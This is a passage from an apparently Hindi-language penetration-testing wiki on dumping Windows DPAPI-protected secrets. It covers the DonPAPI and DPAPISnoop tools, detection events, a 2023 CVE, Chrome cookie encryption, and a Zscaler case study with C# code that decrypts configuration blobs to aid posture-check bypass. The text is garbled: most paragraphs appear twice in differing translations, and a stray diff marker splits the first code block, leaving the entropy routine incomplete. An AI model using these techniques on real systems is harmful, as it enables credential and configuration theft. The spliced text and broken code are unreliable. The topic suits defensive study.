LDAP से निकाले गए कंप्यूटरों की सूची के साथ आप हर उप नेटवर्क को ढूंढ सकते हैं भले ही आप उन्हें नहीं जानते हों!
LDAP से निकाली गई कंप्यूटर सूची के साथ आप हर सब-नेटवर्क खोज सकते हैं, भले ही आप उन्हें पहले न जानते हों!
### DonPAPI 2.x (2024-05)
[**DonPAPI**](https://github.com/login-securite/DonPAPI) स्वचालित रूप से DPAPI द्वारा संरक्षित रहस्यों को डंप कर सकता है। 2.x रिलीज़ में शामिल हैं:
[**DonPAPI**](https://github.com/login-securite/DonPAPI) स्वचालित रूप से DPAPI द्वारा सुरक्षित secrets को डंप कर सकता है। 2.x रिलीज़ ने निम्न जोड़े:
* सैकड़ों होस्ट से ब्लॉब्स का समानांतर संग्रह
* **संदर्भ 3** मास्टरकी का पार्सिंग और स्वचालित Hashcat क्रैकिंग एकीकरण
* Chrome "App-Bound" एन्क्रिप्टेड कुकीज़ के लिए समर्थन (अगले अनुभाग को देखें)
* एक नया **`--snapshot`** मोड जो बार-बार एंडपॉइंट्स को पोल करता है और नए बनाए गए ब्लॉब्स का अंतर करता है
* सैकड़ों होस्ट्स से blobs का पैरेलल कलेक्शन
* **context 3** masterkeys का पार्सिंग और स्वचालित Hashcat cracking इंटीग्रेशन
* Chrome "App-Bound" encrypted cookies के लिए सपोर्ट (अगला सेक्शन देखें)
* नए **`--snapshot`** मोड से endpoints को बार-बार पोल किया जा सकता है और नए बने blobs का diff लिया जा सकता है
### DPAPISnoop
[**DPAPISnoop**](https://github.com/Leftp/DPAPISnoop) मास्टरकी/क्रेडेंशियल/वॉल्ट फ़ाइलों के लिए एक C# पार्सर है जो Hashcat/JtR प्रारूपों को आउटपुट कर सकता है और वैकल्पिक रूप से स्वचालित रूप से क्रैकिंग को सक्रिय कर सकता है। यह Windows 11 24H1 तक मशीन और उपयोगकर्ता मास्टरकी प्रारूपों का पूर्ण समर्थन करता है।
[**DPAPISnoop**](https://github.com/Leftp/DPAPISnoop) masterkey/credential/vault फाइलों के लिए एक C# पार्सर है जो Hashcat/JtR फ़ॉर्मैट्स आउटपुट कर सकता है और ऑप्शनल रूप से क्रैकिंग को स्वतः invoke कर सकता है। यह Windows 11 24H1 तक के machine और user masterkey फॉर्मैट्स को पूरी तरह सपोर्ट करता है।
## सामान्य पहचान
- `C:\Users\*\AppData\Roaming\Microsoft\Protect\*`, `C:\Users\*\AppData\Roaming\Microsoft\Credentials\*` और अन्य DPAPI-संबंधित निर्देशिकाओं में फ़ाइलों तक पहुँच।
- विशेष रूप से **C$** या **ADMIN$** जैसे नेटवर्क शेयर से।
- LSASS मेमोरी तक पहुँचने या मास्टरकी को डंप करने के लिए **Mimikatz**, **SharpDPAPI** या समान उपकरणों का उपयोग।
- इवेंट **4662**: *एक वस्तु पर एक ऑपरेशन किया गया था* इसे **`BCKUPKEY`** वस्तु तक पहुँच के साथ सहसंबंधित किया जा सकता है।
- इवेंट **4673/4674** जब एक प्रक्रिया *SeTrustedCredManAccessPrivilege* (क्रेडेंशियल प्रबंधक) का अनुरोध करती है।
## सामान्य डिटेक्शन्स
- `C:\Users\*\AppData\Roaming\Microsoft\Protect\*`, `C:\Users\*\AppData\Roaming\Microsoft\Credentials\*` और अन्य DPAPI-संबंधित डायरेक्टरीज़ में फाइलों तक पहुँच।
- विशेषकर नेटवर्क शेयर जैसे **C$** या **ADMIN$** से।
- LSASS memory तक पहुँचने या masterkeys डंप करने के लिए **Mimikatz**, **SharpDPAPI** या समान टूलिंग का उपयोग।
- Event **4662**: *An operation was performed on an object* इसे **`BCKUPKEY`** ऑब्जेक्ट तक पहुँच के साथ correlate किया जा सकता है।
- Event **4673/4674** जब कोई प्रोसेस *SeTrustedCredManAccessPrivilege* (Credential Manager) अनुरोध करता है
---
### 2023-2025 कमजोरियाँ और पारिस्थितिकी तंत्र में परिवर्तन
### 2023-2025 कमजोरियाँ और इकोसिस्टम परिवर्तन
* **CVE-2023-36004 Windows DPAPI सुरक्षित चैनल धोखाधड़ी** (नवंबर 2023)। एक हमलावर जिसके पास नेटवर्क पहुँच है, एक डोमेन सदस्य को एक दुर्भावनापूर्ण DPAPI बैकअप कुंजी प्राप्त करने के लिए धोखा दे सकता है, जिससे उपयोगकर्ता मास्टरकी का डिक्रिप्शन संभव हो जाता है। नवंबर 2023 के संचयी अपडेट में पैच किया गया प्रशासकों को सुनिश्चित करना चाहिए कि DCs और कार्यस्थानों को पूरी तरह से पैच किया गया है
* **Chrome 127 “App-Bound” कुकी एन्क्रिप्शन** (जुलाई 2024) ने पुराने DPAPI-केवल सुरक्षा को एक अतिरिक्त कुंजी के साथ बदल दिया जो उपयोगकर्ता के **क्रेडेंशियल प्रबंधक** के तहत संग्रहीत होती है। कुकीज़ का ऑफ़लाइन डिक्रिप्शन अब DPAPI मास्टरकी और **GCM-लिपटे ऐप-बाउंड कुंजी** दोनों की आवश्यकता होती है। SharpChrome v2.3 और DonPAPI 2.x उपयोगकर्ता संदर्भ के साथ चलने पर अतिरिक्त कुंजी को पुनः प्राप्त करने में सक्षम हैं।
* **CVE-2023-36004 Windows DPAPI Secure Channel Spoofing** (November 2023). नेटवर्क एक्सेस वाला एक अटैकर एक domain member को धोखा दे सकता था कि वह malicious DPAPI backup key प्राप्त करे, जिससे user masterkeys का डिक्रिप्शन संभव हो जाता। यह नवंबर 2023 के cumulative update में पैच किया गया — एडमिनिस्ट्रेटर्स को सुनिश्चित करना चाहिए कि DCs और workstations पूरी तरह patched हों
* **Chrome 127 “App-Bound” cookie encryption** (July 2024) ने legacy DPAPI-only प्रोटेक्शन के अलावा एक अतिरिक्त key जोड़ी जो यूज़र के **Credential Manager** में स्टोर होती है। अब cookies का ऑफ़लाइन डिक्रिप्शन करने के लिए DPAPI masterkey और **GCM-wrapped app-bound key** दोनों की आवश्यकता होती है। SharpChrome v2.3 और DonPAPI 2.x यूज़र कॉन्टेक्स्ट में चलाकर अतिरिक्त key recover कर सकते हैं।
### केस स्टडी: Zscaler Client Connector SID से व्युत्पन्न कस्टम एंट्रॉपी
Zscaler Client Connector कई कॉन्फ़िगरेशन फ़ाइलों को `C:\ProgramData\Zscaler` के तहत संग्रहीत करता है (जैसे `config.dat`, `users.dat`, `*.ztc`, `*.mtt`, `*.mtc`, `*.mtp`)। प्रत्येक फ़ाइल **DPAPI (मशीन स्कोप)** के साथ एन्क्रिप्ट की गई है लेकिन विक्रेता **कस्टम एंट्रॉपी** प्रदान करता है जो *रनटाइम पर गणना की जाती है* बजाय इसके कि इसे डिस्क पर संग्रहीत किया जाए।
### केस स्टडी: Zscaler Client Connector SID से निकाली गई कस्टम एंट्रॉपी
Zscaler Client Connector कई configuration फाइलें `C:\ProgramData\Zscaler` के अंतर्गत स्टोर करता है (जैसे `config.dat`, `users.dat`, `*.ztc`, `*.mtt`, `*.mtc`, `*.mtp`)। हर फाइल **DPAPI (Machine scope)** से एन्क्रिप्टेड है लेकिन vendor **custom entropy** देता है जो डिस्क पर स्टोर होने के बजाय *calculated at runtime* होती है।
एंट्रॉपी दो तत्वों से पुनर्निर्मित की जाती है:
1. `ZSACredentialProvider.dll` के अंदर एम्बेडेड एक हार्ड-कोडेड रहस्य
2. Windows खाते का **SID** जिस पर कॉन्फ़िगरेशन संबंधित है।
1. `ZSACredentialProvider.dll` के अंदर एम्बेडेड एक हार्ड-कोडेड सीक्रेट
2. उस Windows खाते का **SID** जिससे कॉन्फ़िगरेशन संबंधित है।
DLL द्वारा कार्यान्वित एल्गोरिदम के बराबर है:
DLL द्वारा लागू किया गया एल्गोरिथ्म इसके समतुल्य है:
```csharp
byte[] secret = Encoding.UTF8.GetBytes(HARDCODED_SECRET);
byte[] sid = Encoding.UTF8.GetBytes(CurrentUserSID);
@ -320,17 +324,17 @@ byte[] entropy = new byte[tmp.Length / 2];
for (int i = 0; i < entropy.Length; i++)
entropy[i] = (byte)(tmp[i] ^ tmp[i + entropy.Length]);
```
क्योंकि रहस्य एक DLL में निहित है जिसे डिस्क से पढ़ा जा सकता है, **कोई भी स्थानीय हमलावर जिसके पास SYSTEM अधिकार हैं, किसी भी SID के लिए एंट्रॉपी को फिर से उत्पन्न कर सकता है** और ऑफ़लाइन ब्लॉब्स को डिक्रिप्ट कर सकता है:
क्योंकि यह गुप्त जानकारी एक DLL में एम्बेड है जिसे डिस्क से पढ़ा जा सकता है, **कोई भी स्थानीय हमलावर जिसके पास SYSTEM अधिकार हैं किसी भी SID के लिए entropy पुनःजनरेट कर सकता है** और blobs को offline डिक्रिप्ट कर सकता है:
```csharp
byte[] blob = File.ReadAllBytes(@"C:\ProgramData\Zscaler\<SID>++config.dat");
byte[] clear = ProtectedData.Unprotect(blob, RebuildEntropy(secret, sid), DataProtectionScope.LocalMachine);
Console.WriteLine(Encoding.UTF8.GetString(clear));
```
डिक्रिप्शन पूर्ण JSON कॉन्फ़िगरेशन प्रदान करता है, जिसमें प्रत्येक **डिवाइस पोस्टर चेक** और इसका अपेक्षित मान शामिल है - यह जानकारी क्लाइंट-साइड बायपास करने के प्रयास में बहुत मूल्यवान है।
डिक्रिप्शन पूरी JSON कॉन्फ़िगरेशन देता है, जिसमें हर **device posture check** और उसका अपेक्षित मान शामिल है जानकारी जो client-side bypasses का प्रयास करते समय बहुत मूल्यवान होती है।
> TIP: अन्य एन्क्रिप्टेड आर्टिफैक्ट्स (`*.mtt`, `*.mtp`, `*.mtc`, `*.ztc`) DPAPI के साथ **बिना** एंट्रॉपी (`16` जीरो बाइट्स) से सुरक्षित हैं। इसलिए, SYSTEM विशेषाधिकार प्राप्त होने पर इन्हें सीधे `ProtectedData.Unprotect` के साथ डिक्रिप्ट किया जा सकता है।
> TIP: अन्य encrypted artefacts (`*.mtt`, `*.mtp`, `*.mtc`, `*.ztc`) DPAPI के साथ **without** entropy (`16` zero bytes) से सुरक्षित हैं। इसलिए SYSTEM privileges प्राप्त होते ही इन्हें सीधे `ProtectedData.Unprotect` से डिक्रिप्ट किया जा सकता है।
## References
## संदर्भ
- [Synacktiv Should you trust your zero trust? Bypassing Zscaler posture checks](https://www.synacktiv.com/en/publications/should-you-trust-your-zero-trust-bypassing-zscaler-posture-checks.html)